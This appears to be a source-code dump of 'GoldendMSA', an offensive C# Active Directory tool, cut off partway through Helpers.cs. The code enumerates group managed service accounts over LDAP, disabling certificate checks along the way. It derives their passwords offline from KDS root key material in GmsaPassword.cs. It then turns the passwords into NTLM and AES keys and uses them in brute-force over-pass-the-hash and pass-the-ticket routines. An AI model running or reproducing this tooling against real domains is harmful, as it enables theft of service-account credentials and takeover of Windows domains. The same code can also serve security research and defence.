317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
--------------------------------------------------------------------------------
/GoldendMSA/LdapEnumeration.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.DirectoryServices.Protocols;
4 | using System.Net;
5 | using System.Net.Security;
6 | using System.Security.Cryptography.X509Certificates;
7 | using System.Security.Principal;
8 |
9 | namespace GoldendMSA
10 | {
11 | public class LdapEnumeration
12 | {
13 | private static bool ServerCallback(LdapConnection connection, X509Certificate certificate)
14 | {
15 | return true;
16 | }
17 |
18 | private static bool AcceptAllCertificates(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
19 | {
20 | // Accept all certificates for testing purposes
21 | return true;
22 | }
23 |
24 | public static int ldapEnumeration(String DomainName)
25 | {
26 | (string dcName, string dcIp) = LdapUtils.GetDomainControllerInfoAlt(DomainName);
27 |
28 | List SpecialAccounts = LdapUtils.SearchForGMSAsDirectly(dcName, false, DomainName);
29 | string baseDN = "CN=Managed Service Accounts,DC=" + DomainName.Replace(".",",DC=");
30 | string domainName = (DomainName.Split('.'))[0];
31 | string accountSam = "*";
32 | string filter = $"(&(objectClass=*)(sAMAccountName={accountSam}))";
33 |
34 | ServicePointManager.ServerCertificateValidationCallback = AcceptAllCertificates;
35 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
36 | ServicePointManager.CheckCertificateRevocationList = false;
37 |
38 | LdapConnection connection = null;
39 | try
40 | {
41 | // Create LDAP connection
42 | var ldapDirectoryIdentifier = new LdapDirectoryIdentifier(dcName, 389);
43 | connection = new LdapConnection(ldapDirectoryIdentifier);
44 |
45 | // Set protocol version to LDAPv3
46 | connection.SessionOptions.ProtocolVersion = 3;
47 | connection.SessionOptions.ReferralChasing = ReferralChasingOptions.None;
48 |
49 | // Configure TLS with error handling
50 | try
51 | {
52 | connection.SessionOptions.VerifyServerCertificate = new VerifyServerCertificateCallback(ServerCallback);
53 |
54 | connection.SessionOptions.SecureSocketLayer = false;
55 | connection.SessionOptions.StartTransportLayerSecurity(null);
56 | }
57 | catch (TlsOperationException tlsEx)
58 | {
59 | connection.Dispose();
60 | connection = new LdapConnection(ldapDirectoryIdentifier);
61 | connection.SessionOptions.ProtocolVersion = 3;
62 | connection.SessionOptions.ReferralChasing = ReferralChasingOptions.None;
63 | }
64 |
65 | connection.AuthType = AuthType.Negotiate;
66 | connection.Credential = CredentialCache.DefaultNetworkCredentials;
67 |
68 | // Bind to the directory
69 | connection.Bind();
70 |
71 | // Perform LDAP search
72 | var searchRequest = new SearchRequest(
73 | baseDN,
74 | "(objectclass=*)",
75 | SearchScope.OneLevel,
76 | null // Return all attributes
77 | );
78 |
79 | var searchResponse = (SearchResponse)connection.SendRequest(searchRequest);
80 |
81 | if (searchResponse.ResultCode != ResultCode.Success)
82 | {
83 | Console.WriteLine($"ldap_search_s failed: {searchResponse.ResultCode} - {searchResponse.ErrorMessage}");
84 | return 1;
85 | }
86 |
87 | int count = 0;
88 |
89 | // Process search results
90 | foreach (SearchResultEntry entry in searchResponse.Entries)
91 | {
92 | if ((!SpecialAccounts.Contains(entry.DistinguishedName)))
93 | {
94 | Console.WriteLine($"\nEntry DN: {entry.DistinguishedName}");
95 | string accountName = "";
96 |
97 | string adsPath = entry.DistinguishedName;
98 |
99 | adsPath = "LDAP://" + adsPath;
100 | if (adsPath.StartsWith("LDAP://CN="))
101 | {
102 | int startIndex = "LDAP://CN=".Length;
103 | int endIndex = adsPath.IndexOf(',', startIndex);
104 | if (endIndex > startIndex)
105 | {
106 | accountName = adsPath.Substring(startIndex, endIndex - startIndex);
107 | Console.WriteLine($"Account Name (from ADSPath):\t{accountName}$");
108 | }
109 | }
110 | if (!string.IsNullOrEmpty(accountName))
111 | {
112 | try
113 | {
114 | // Try to resolve SID using NTAccount
115 | string domainAccount = accountName.Contains("\\") ? accountName : $"{domainName}\\{accountName}$";
116 | NTAccount ntAccount = new NTAccount(domainAccount);
117 | SecurityIdentifier sid = (SecurityIdentifier)ntAccount.Translate(typeof(SecurityIdentifier));
118 | Console.WriteLine($"SID :\t{sid.Value}");
119 | }
120 | catch (Exception resolveEx)
121 | {
122 | Console.WriteLine($"SID : Failed to resolve - {resolveEx.Message}");
123 | }
124 | }
125 | // Look for objectClass attribute specifically
126 | if (entry.Attributes.Contains("objectClass"))
127 | {
128 | var objectClassAttribute = entry.Attributes["objectClass"];
129 | foreach (string value in objectClassAttribute.GetValues(typeof(string)))
130 | {
131 | Console.WriteLine($" objectClass: {value}");
132 | }
133 | }
134 | if (entry.Attributes.Contains("objectSid"))
135 | {
136 | var objectSidAttribute = entry.Attributes["objectSid"];
137 | string sidValue = new System.Security.Principal.SecurityIdentifier((byte[])objectSidAttribute.GetValues(typeof(byte[]))[0], 0).Value;
138 |
139 | Console.WriteLine($" objectSid: {sidValue}");
140 | }
141 | if (entry.Attributes.Contains("msDS-ManagedPasswordId"))
142 | {
143 | DirectoryAttribute da = entry.Attributes["msDS-ManagedPasswordId"];
144 | byte[] objectPassAttribute = (byte[])(da.GetValues(typeof(byte[]))[0]);
145 | MsdsManagedPasswordId mpid = new MsdsManagedPasswordId(objectPassAttribute);
146 | Console.WriteLine("Related key: " + mpid.RootKeyIdentifier);
147 | Console.WriteLine($" msDS-ManagedPasswordId: {Convert.ToBase64String(objectPassAttribute)}");
148 | }
149 |
150 | count++;
151 | }
152 | }
153 |
154 | if (count == 0)
155 | {
156 | Console.WriteLine("No matching entries found.");
157 | }
158 | else
159 | {
160 | Console.WriteLine($"\nTotal entries found: {count}");
161 | }
162 |
163 | return 0;
164 | }
165 | catch (LdapException ex)
166 | {
167 | Console.WriteLine($"LDAP Error: {ex.ErrorCode} - {ex.Message}");
168 | return 1;
169 | }
170 | catch (Exception ex)
171 | {
172 | Console.WriteLine($"Error: {ex.Message}");
173 | return 1;
174 | }
175 | finally
176 | {
177 | connection?.Dispose();
178 | }
179 | }
180 | }
181 | }
182 |
--------------------------------------------------------------------------------
/GoldendMSA/lib/krb_structures/KDC_REQ_BODY.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using Asn1;
3 | using System.Text;
4 | using System.Collections.Generic;
5 |
6 | namespace GoldendMSA
7 | {
8 | public class KDCReqBody
9 | {
10 | //KDC-REQ-BODY::= SEQUENCE {
11 | // kdc-options[0] KDCOptions,
12 | // cname[1] PrincipalName OPTIONAL
13 | // -- Used only in AS-REQ --,
14 | // realm[2] Realm
15 | // -- Server's realm
16 | // -- Also client's in AS-REQ --,
17 | // sname[3] PrincipalName OPTIONAL,
18 | // from[4] KerberosTime OPTIONAL,
19 | // till[5] KerberosTime,
20 | // rtime[6] KerberosTime OPTIONAL,
21 | // nonce[7] UInt32,
22 | // etype[8] SEQUENCE OF Int32 -- EncryptionType
23 | // -- in preference order --,
24 | // addresses[9] HostAddresses OPTIONAL,
25 | // enc-authorization-data[10] EncryptedData OPTIONAL
26 | // -- AuthorizationData --,
27 | // additional-tickets[11] SEQUENCE OF Ticket OPTIONAL
28 | // -- NOTE: not empty
29 | //}
30 |
31 | public KDCReqBody(bool c = true, bool r = false)
32 | {
33 | // defaults for creation
34 | kdcOptions = Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK;
35 |
36 | // added ability to remove cname from request
37 | // seems to be useful for cross domain stuff
38 | // didn't see a cname in "real" S4U request traffic
39 | if (c)
40 | {
41 | cname = new PrincipalName();
42 | }
43 |
44 | sname = new PrincipalName();
45 |
46 |
47 | till = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture);
48 |
49 | // add rtime for AS-REQs
50 | if (r)
51 | {
52 | rtime = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture);
53 | }
54 |
55 | var rand = new Random();
56 | nonce = (UInt32)rand.Next(1, Int32.MaxValue);
57 |
58 | additional_tickets = new List();
59 |
60 | etypes = new List();
61 | }
62 |
63 |
64 | public AsnElt Encode()
65 | {
66 | // TODO: error-checking!
67 |
68 | List allNodes = new List();
69 |
70 | // kdc-options [0] KDCOptions
71 | byte[] kdcOptionsBytes = BitConverter.GetBytes((UInt32)kdcOptions);
72 | if (BitConverter.IsLittleEndian)
73 | {
74 | Array.Reverse(kdcOptionsBytes);
75 | }
76 | AsnElt kdcOptionsAsn = AsnElt.MakeBitString(kdcOptionsBytes);
77 | AsnElt kdcOptionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { kdcOptionsAsn });
78 | kdcOptionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, kdcOptionsSeq);
79 | allNodes.Add(kdcOptionsSeq);
80 |
81 |
82 | // cname [1] PrincipalName
83 | if (cname != null)
84 | {
85 | AsnElt cnameElt = cname.Encode();
86 | cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt);
87 | allNodes.Add(cnameElt);
88 | }
89 |
90 |
91 | // realm [2] Realm
92 | // --Server's realm
93 | // -- Also client's in AS-REQ --
94 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.UTF8String, realm);
95 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn);
96 | AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn });
97 | realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq);
98 | allNodes.Add(realmSeq);
99 |
100 |
101 | // sname [3] PrincipalName OPTIONAL
102 | AsnElt snameElt = sname.Encode();
103 | snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, snameElt);
104 | allNodes.Add(snameElt);
105 |
106 |
107 | // from [4] KerberosTime OPTIONAL
108 |
109 |
110 | // till [5] KerberosTime
111 | AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, till.ToString("yyyyMMddHHmmssZ"));
112 | AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn });
113 | tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
114 | allNodes.Add(tillSeq);
115 |
116 |
117 | // rtime [6] KerberosTime
118 | if (rtime.Year > 0001)
119 | {
120 | AsnElt rtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, rtime.ToString("yyyyMMddHHmmssZ"));
121 | AsnElt rtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { rtimeAsn });
122 | rtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, rtimeSeq);
123 | allNodes.Add(rtimeSeq);
124 | }
125 |
126 | // nonce [7] UInt32
127 | AsnElt nonceAsn = AsnElt.MakeInteger(nonce);
128 | AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn });
129 | nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, nonceSeq);
130 | allNodes.Add(nonceSeq);
131 |
132 |
133 | // etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order --
134 | List etypeList = new List();
135 | foreach (Interop.KERB_ETYPE etype in etypes)
136 | {
137 | AsnElt etypeAsn = AsnElt.MakeInteger((Int32)etype);
138 | //AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { etypeAsn });
139 | etypeList.Add(etypeAsn);
140 | }
141 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray());
142 | AsnElt etypeSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray());
143 | AsnElt etypeSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, etypeSeqTotal1);
144 | etypeSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, etypeSeqTotal2);
145 | allNodes.Add(etypeSeqTotal2);
146 |
147 |
148 | // addresses [9] HostAddresses OPTIONAL
149 | if (addresses != null)
150 | {
151 | List addrList = new List();
152 | foreach (HostAddress addr in addresses)
153 | {
154 | AsnElt addrElt = addr.Encode();
155 | addrList.Add(addrElt);
156 | }
157 | AsnElt addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, addrList.ToArray());
158 | AsnElt addrSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, addrSeqTotal1);
159 | addrSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, addrSeqTotal2);
160 | allNodes.Add(addrSeqTotal2);
161 | }
162 |
163 | // enc-authorization-data [10] EncryptedData OPTIONAL
164 | if (enc_authorization_data != null)
165 | {
166 | AsnElt authorizationEncryptedDataASN = enc_authorization_data.Encode();
167 | AsnElt authorizationEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authorizationEncryptedDataASN });
168 | authorizationEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 10, authorizationEncryptedDataSeq);
169 | allNodes.Add(authorizationEncryptedDataSeq);
170 | }
171 |
172 | // additional-tickets [11] SEQUENCE OF Ticket OPTIONAL
173 | if (additional_tickets.Count > 0) {
174 | AsnElt ticketAsn = additional_tickets[0].Encode();
175 | AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn });
176 | AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq });
177 | ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 11, ticketSeq2);
178 | allNodes.Add(ticketSeq2);
179 | }
180 |
181 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
182 |
183 | return seq;
184 | }
185 |
186 |
187 | public Interop.KdcOptions kdcOptions { get; set; }
188 |
189 | public PrincipalName cname { get; set; }
190 |
191 | public string realm { get; set; }
192 |
193 | public PrincipalName sname { get; set; }
194 |
195 | public DateTime from { get; set; }
196 |
197 | public DateTime till { get; set; }
198 |
199 | public DateTime rtime { get; set; }
200 |
201 | public UInt32 nonce { get; set; }
202 |
203 | public List etypes { get; set; }
204 |
205 | public List addresses { get; set; }
206 |
207 | public EncryptedData enc_authorization_data { get; set; }
208 |
209 | public List additional_tickets { get; set; }
210 | }
211 | }
212 |
--------------------------------------------------------------------------------
/GoldendMSA/GmsaPassword.cs:
--------------------------------------------------------------------------------
1 | using GoldendMSA.Unsafe;
2 | using System;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Security.Principal;
6 | using System.Text;
7 |
8 | namespace GoldendMSA
9 | {
10 | public static class GmsaPassword
11 | {
12 | private static readonly byte[] DefaultGMSASecurityDescriptor = {
13 | 0x1, 0x0, 0x4, 0x80, 0x30, 0x0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
14 | 0x00, 0x14, 0x00, 0x00, 0x00, 0x02, 0x0, 0x1C, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0,
15 | 0x14, 0x0, 0x9F, 0x1, 0x12, 0x0, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x9,
16 | 0x0, 0x0, 0x0, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x12, 0x0, 0x0, 0x0 };
17 |
18 |
19 | public static byte[] GetPassword( // GetPasswordBasedOnTimeStamp
20 | SecurityIdentifier sid,
21 | RootKey rootKey,
22 | MsdsManagedPasswordId pwdId,
23 | string domainName,
24 | string forestName)
25 | {
26 | int l0KeyID = 0, l1KeyID = 0, l2KeyID = 0;
27 |
28 | KdsUtils.GetCurrentIntervalID(KdsUtils.KeyCycleDuration, 0, ref l0KeyID, ref l1KeyID, ref l2KeyID);
29 |
30 | GetKey.GetSidKeyLocal(
31 | GmsaPassword.DefaultGMSASecurityDescriptor,
32 | GmsaPassword.DefaultGMSASecurityDescriptor.Length,
33 | rootKey,
34 | l0KeyID, l1KeyID, l2KeyID,
35 | 0,
36 | domainName, forestName,
37 | out GroupKeyEnvelope gke,
38 | out int gkeSize);
39 |
40 | int passwordBlobSize = 256;
41 | byte[] sidBytes = new byte[sid.BinaryLength];
42 | sid.GetBinaryForm(sidBytes, 0);
43 |
44 | var pwdBlob = GmsaPassword.GenerateGMSAPassowrd(
45 | gke, gkeSize,
46 | pwdId.MsdsManagedPasswordIdBytes,
47 | sidBytes,
48 | IntPtr.Zero, IntPtr.Zero,
49 | passwordBlobSize);
50 |
51 | return pwdBlob;
52 | }
53 |
54 | private static void ParseSIDKeyResult(
55 | GroupKeyEnvelope gke,
56 | int gkeSize,
57 | byte[] msdsManagedPasswordId,
58 | out byte[] l1Key,
59 | ref int l1KeyIdDiff,
60 | ref int newL1KeyId,
61 | out byte[] l2Key,
62 | ref int l2KeyIdDiff,
63 | ref int newL2KeyId,
64 | out byte[] publicKey)
65 | {
66 | newL2KeyId = 31;
67 | if (msdsManagedPasswordId != null)
68 | {
69 | MsdsManagedPasswordId msds_ManagedPasswordID = new MsdsManagedPasswordId(msdsManagedPasswordId);
70 | l1KeyIdDiff = gke.L1Index - msds_ManagedPasswordID.L1Index;
71 | l2KeyIdDiff = 32 - msds_ManagedPasswordID.L2Index;
72 | if (gke.cbL2Key > 0)
73 | {
74 | l1KeyIdDiff--;
75 | if (l1KeyIdDiff > 0)
76 | {
77 | newL1KeyId = gke.L1Index - 2;
78 | }
79 | if (gke.L1Index <= msds_ManagedPasswordID.L1Index)
80 | {
81 | l2KeyIdDiff = gke.L2Index - msds_ManagedPasswordID.L2Index;
82 | if (l2KeyIdDiff > 0)
83 | {
84 | newL2KeyId = gke.L2Index - 1;
85 | }
86 | }
87 | }
88 | else if (l1KeyIdDiff > 0)
89 | {
90 | newL1KeyId = gke.L1Index - 1;
91 | }
92 | }
93 | else if (gke.L2Index == 0)
94 | {
95 | l2KeyIdDiff = 1;
96 | }
97 | if (gke.cbL1Key > 0)
98 | {
99 | l1Key = gke.L1Key.ToArray();
100 | }
101 | else
102 | {
103 | l1Key = null;
104 | }
105 | if (gke.cbL2Key > 0)
106 | {
107 | l2Key = gke.L2Key.ToArray();
108 | }
109 | else
110 | {
111 | l2Key = null;
112 | }
113 | publicKey = null;
114 | }
115 |
116 | private static void ClientComputeL2Key(
117 | GroupKeyEnvelope gke,
118 | byte[] msdsManagedPasswordIdBytes,
119 | string kdfAlgorithmId,
120 | byte[] l1Key,
121 | ref byte[] l2Key,
122 | int l1KeyDiff,
123 | int newL1KeyId,
124 | int l2KeyDiff,
125 | int newL2KeyId)
126 | {
127 | var msdsManagedPasswordId = new MsdsManagedPasswordId(msdsManagedPasswordIdBytes);
128 | byte[] rootKeyGUID = gke.RootKeyIdentifier.ToByteArray();
129 | byte[] kdfParam = null;
130 |
131 | if (gke.cbKDFParameters > 0)
132 | kdfParam = gke.KDFParameters.ToArray();
133 |
134 | uint errCode = 0;
135 |
136 | if (l1KeyDiff > 0)
137 | {
138 | errCode = KdsCli.GenerateKDFContext(
139 | rootKeyGUID, gke.L0Index,
140 | newL1KeyId, 0xffffffff,
141 | 1,
142 | out IntPtr KDFContextL1,
143 | out int KDFContextSizeL1,
144 | out int kdfContextFlagL1);
145 |
146 | if (errCode != 0)
147 | throw new Exception($"{nameof(ClientComputeL2Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}");
148 |
149 |
150 | byte[] KDFContextArrL1 = new byte[KDFContextSizeL1];
151 | Marshal.Copy(KDFContextL1, KDFContextArrL1, 0, KDFContextSizeL1);
152 |
153 | errCode = KdsCli.GenerateDerivedKey(
154 | kdfAlgorithmId, kdfParam,
155 | gke.cbKDFParameters, l1Key,
156 | 64, KDFContextArrL1,
157 | KDFContextSizeL1, ref kdfContextFlagL1,
158 | null, 0,
159 | l1KeyDiff, l1Key,
160 | RootKey.KdsRootKeyDataSizeDefault, 0);
161 |
162 | if (errCode != 0)
163 | throw new Exception($"{nameof(ClientComputeL2Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}");
164 | }
165 |
166 | if ((msdsManagedPasswordIdBytes == null || gke.L1Index <= msdsManagedPasswordId.L1Index) && gke.cbL2Key != 0)
167 | l1Key = l2Key;
168 |
169 | if (l2KeyDiff > 0)
170 | {
171 | long something;
172 | if (msdsManagedPasswordIdBytes == null)
173 | {
174 | something = gke.L1Index;
175 | }
176 | else
177 | {
178 | something = msdsManagedPasswordId.L1Index;
179 | }
180 |
181 | errCode = KdsCli.GenerateKDFContext(
182 | rootKeyGUID, gke.L0Index,
183 | something, newL2KeyId,
184 | 2,
185 | out IntPtr KDFContextL2,
186 | out int KDFContextSizeL2,
187 | out int kdfContextFlagL2);
188 |
189 | if (errCode != 0)
190 | throw new Exception($"{nameof(ClientComputeL2Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}");
191 |
192 |
193 | byte[] KDFContextArrL2 = new byte[KDFContextSizeL2];
194 | Marshal.Copy(KDFContextL2, KDFContextArrL2, 0, KDFContextSizeL2);
195 |
196 | if (l2Key == null)
197 | l2Key = new byte[RootKey.KdsRootKeyDataSizeDefault];
198 |
199 | errCode = KdsCli.GenerateDerivedKey(
200 | kdfAlgorithmId, kdfParam,
201 | gke.cbKDFParameters, l1Key,
202 | 64, KDFContextArrL2,
203 | KDFContextSizeL2, ref kdfContextFlagL2,
204 | null, 0,
205 | l2KeyDiff, l2Key,
206 | RootKey.KdsRootKeyDataSizeDefault, 0);
207 |
208 | if (errCode != 0)
209 | throw new Exception($"{nameof(ClientComputeL2Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}");
210 | }
211 | }
212 |
213 | private static byte[] GenerateGMSAPassowrd(
214 | GroupKeyEnvelope gke,
215 | int gkeSize,
216 | byte[] msdsManagedPasswordId,
217 | byte[] Sid,
218 | IntPtr OutOpt,
219 | IntPtr OutOptSize,
220 | int pwdBlobSize)
221 | {
222 | byte[] kdfParam = null;
223 | int newL1KeyID = 0, newL2KeyID = 0, l1KeyDiff = 0, l2KeyDiff = 0, flag = 0;
224 | string labelStr = "GMSA PASSWORD\x0";
225 | byte[] label = Encoding.Unicode.GetBytes(labelStr);
226 | var pwdBlob = new byte[pwdBlobSize];
227 |
228 | ParseSIDKeyResult(
229 | gke, gkeSize,
230 | msdsManagedPasswordId,
231 | out byte[] l1Key, ref l1KeyDiff, ref newL1KeyID,
232 | out byte[] l2Key, ref l2KeyDiff, ref newL2KeyID,
233 | out byte[] publicKey);
234 |
235 | if (l1KeyDiff > 0 || l2KeyDiff > 0)
236 | {
237 | ClientComputeL2Key(gke, msdsManagedPasswordId, gke.KDFAlgorithm, l1Key, ref l2Key, l1KeyDiff, newL1KeyID, l2KeyDiff, newL2KeyID);
238 | }
239 | if (gke.cbKDFParameters > 0)
240 | {
241 | kdfParam = gke.KDFParameters;
242 | }
243 |
244 | var errCode = KdsCli.GenerateDerivedKey(
245 | gke.KDFAlgorithm, kdfParam,
246 | gke.cbKDFParameters, l2Key,
247 | 64, Sid,
248 | Sid.Length,
249 | ref flag,
250 | label, 28,
251 | 1,
252 | pwdBlob, pwdBlobSize,
253 | 0); // 28 is hardcoded in the dll, should be label.Length
254 |
255 | if (errCode != 0)
256 | throw new Exception($"{nameof(GenerateGMSAPassowrd)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}");
257 |
258 | return pwdBlob;
259 | }
260 | }
261 | }
--------------------------------------------------------------------------------
/GoldendMSA/Helpers.cs:
--------------------------------------------------------------------------------
1 | using Cryptography;
2 | using System;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Linq;
6 | using System.Security.Principal;
7 | using System.Text;
8 | using System.Text.RegularExpressions;
9 |
10 | namespace GoldendMSA
11 | {
12 | public class Helpers
13 | {
14 | public static byte[] SendBytes(string server, int port, byte[] data)
15 | {
16 | var ipEndPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(server), port);
17 | try
18 | {
19 | using (System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(ipEndPoint.AddressFamily))
20 | {
21 |
22 | // connect to the server over The specified port
23 | client.Client.Ttl = 128;
24 | client.Connect(ipEndPoint);
25 | BinaryReader socketReader = new BinaryReader(client.GetStream());
26 | BinaryWriter socketWriter = new BinaryWriter(client.GetStream());
27 |
28 | socketWriter.Write(System.Net.IPAddress.HostToNetworkOrder(data.Length));
29 | socketWriter.Write(data);
30 |
31 | int recordMark = System.Net.IPAddress.NetworkToHostOrder(socketReader.ReadInt32());
32 | int recordSize = recordMark & 0x7fffffff;
33 |
34 | if ((recordMark & 0x80000000) > 0)
35 | {
36 | Console.WriteLine("[X] Unexpected reserved bit set on response record mark from Domain Controller {0}:{1}, aborting", server, port);
37 | return null;
38 | }
39 |
40 | byte[] responseRecord = socketReader.ReadBytes(recordSize);
41 |
42 | if (responseRecord.Length != recordSize)
43 | {
44 | Console.WriteLine("[X] Incomplete record received from Domain Controller {0}:{1}, aborting", server, port);
45 | return null;
46 | }
47 |
48 | return responseRecord;
49 | }
50 | }
51 | catch (System.Net.Sockets.SocketException e)
52 | {
53 | if (e.SocketErrorCode == System.Net.Sockets.SocketError.TimedOut)
54 | {
55 | Console.WriteLine("[X] Error connecting to {0}:{1} : {2}", server, port, e.Message);
56 | }
57 | else
58 | {
59 | Console.WriteLine("[X] Failed to get response from Domain Controller {0}:{1} : {2}", server, port, e.Message);
60 | }
61 |
62 | }
63 | catch (FormatException fe)
64 | {
65 | Console.WriteLine("[X] Error parsing IP address {0} : {1}", server, fe.Message);
66 | }
67 |
68 | return null;
69 | }
70 | public static byte[] StringToByteArray(string hex)
71 | {
72 | // converts a rc4/AES/etc. string into a byte array representation
73 |
74 | if ((hex.Length % 16) != 0)
75 | {
76 | Console.WriteLine("\r\n[X] Hash must be 16, 32 or 64 characters in length\r\n");
77 | System.Environment.Exit(1);
78 | }
79 |
80 | // yes I know this inefficient
81 | return Enumerable.Range(0, hex.Length)
82 | .Where(x => x % 2 == 0)
83 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
84 | .ToArray();
85 | }
86 | public static Interop.PRINCIPAL_TYPE StringToPrincipalType(string name) {
87 |
88 | switch (name) {
89 | case "principal":
90 | return Interop.PRINCIPAL_TYPE.NT_PRINCIPAL;
91 | case "x500":
92 | return Interop.PRINCIPAL_TYPE.NT_X500_PRINCIPAL;
93 | case "enterprise":
94 | return Interop.PRINCIPAL_TYPE.NT_ENTERPRISE;
95 | case "srv_xhost":
96 | return Interop.PRINCIPAL_TYPE.NT_SRV_XHST;
97 | case "srv_host":
98 | return Interop.PRINCIPAL_TYPE.NT_SRV_HST;
99 | case "srv_inst":
100 | return Interop.PRINCIPAL_TYPE.NT_SRV_INST;
101 | default:
102 | throw new ArgumentException($"name argument with value {name} is not supported");
103 | }
104 | }
105 | public static bool IsBase64String(string input)
106 | {
107 | if (string.IsNullOrEmpty(input))
108 | return false;
109 |
110 | try
111 | {
112 | Convert.FromBase64String(input.Trim());
113 | return true;
114 | }
115 | catch (FormatException)
116 | {
117 | return false;
118 | }
119 | }
120 | public static string ConvertBase64ToNTLM(string base64String)
121 | {
122 | // Decode base64 to byte array
123 | byte[] decodedData = Convert.FromBase64String(base64String);
124 |
125 | // Create MD4 hash
126 | using (var md4 = new Cryptography.MD4())
127 | {
128 | byte[] hashBytes = md4.ComputeHash(decodedData);
129 |
130 | // Convert to hex string (lowercase)
131 | return BitConverter.ToString(hashBytes).Replace("-", "").ToLowerInvariant();
132 | }
133 | }
134 | public static int base64ToAES(string username, string domainName, String password, bool bruteforceMode = true, bool ptt = false, bool verbose = false)
135 | {
136 | byte[] decodedPassword = Convert.FromBase64String(password);
137 | string utf16Password = Encoding.Unicode.GetString(decodedPassword);
138 | byte[] utf8Password = Encoding.UTF8.GetBytes(utf16Password);
139 | string pureUsername = (username.Split('$'))[0];
140 | string salt = domainName.ToUpper() + "host" + pureUsername.ToLower() + "." + domainName.ToLower();
141 | var aes = new AES256();
142 | byte[] aes256Key = aes.StringToKeyAES256(utf8Password, salt);
143 | byte[] aes128Key = aes.StringToKeyAES128(utf8Password, salt);
144 | string aes_256_hash = BitConverter.ToString(aes256Key).Replace("-", "").ToLower();
145 | string aes_128_hash = BitConverter.ToString(aes128Key).Replace("-", "").ToLower();
146 |
147 | if (bruteforceMode)
148 | {
149 | if (OPTH.Over_pass_the_hash(username, domainName, aes_256_hash, ptt, verbose) == 1)
150 | {
151 | Console.WriteLine();
152 | Console.WriteLine($"AES-256 Hash:\t{aes_256_hash}");
153 | Console.WriteLine();
154 | Console.WriteLine($"AES-128 Hash:\t{aes_128_hash}");
155 | Console.WriteLine();
156 | return 1;
157 | }
158 | }
159 | else
160 | {
161 | Console.WriteLine();
162 | Console.WriteLine($"AES-256 Hash:\t{aes_256_hash}");
163 | Console.WriteLine();
164 | Console.WriteLine($"AES-128 Hash:\t{aes_128_hash}");
165 | Console.WriteLine();
